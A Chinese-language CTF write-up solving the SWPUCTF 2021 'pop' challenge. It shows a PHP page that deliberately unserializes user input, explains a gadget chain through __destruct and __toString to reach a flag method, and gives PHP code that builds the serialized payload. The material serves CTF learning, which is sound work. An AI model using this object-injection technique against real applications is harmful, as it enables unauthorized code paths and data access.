[SWPUCTF 2021 新生赛]pop
拿到题目后,给出一段php代码
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
分析代码:
w44m:有一个Getflag方法,如果admin属性为'w44m'且passwd属性为'08067',则输出flag。
w22m:有一个__destruct魔术方法,当对象被销毁时,会输出w00m属性(如果w00m是一个对象,且定义了__toString方法,则会触发__toString)。
w33m:有一个__toString魔术方法,当对象被当作字符串使用时,会调用$this->w00m对象的$this->w22m方法。
需要构造一个反序列化链,使得在反序列化时能够触发w44m的Getflag方法
链子可以这样构造:
首先,我们有一个w22m对象,在其析构函数中会输出$this->w00m。如果我们将w00m设置成一个w33m对象,那么当w22m对象被销毁时,就会触发w33m的__toString方法。
在w33m的__toString方法中,会调用$this->w00m->{$this->w22m}()。如果我们将$this->w00m设置成一个w44m对象,将$this->w22m设置成字符串'Getflag',那么就会调用w44m对象的Getflag方法。
但是,注意w44m类中的admin和passwd属性是私有的和受保护的,我们需要在序列化字符串中修改这两个属性为w44m和08067。
步骤:
构造一个w44m对象,并修改其私有属性admin和受保护属性passwd为所需值。
构造一个w33m对象,将其w00m属性设置为上面构造的w44m对象,w22m属性设置为字符串'Getflag'。
构造一个w22m对象,将其w00m属性设置为上面构造的w33m对象。
序列化这个w22m对象,并将序列化字符串作为参数w00m的值传递。
注意:由于w44m的属性是私有和受保护的,在序列化字符串中,属性名会被序列化为特殊格式。私有属性会被序列化为%00类名%00属性名,受保护属性会被序列化为%00*%00属性名。在构造序列化字符串时,我们需要在属性名前面加上这些前缀。
生成payload的php代码
点击查看代码
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$w44m = new w44m();
$w33m = new w33m();
$w33m->w00m = $w44m;
$w33m->w22m = 'Getflag';
$w22m = new w22m();
$w22m->w00m = $w33m;
echo serialize($w22m);
?>


浙公网安备 33010602011771号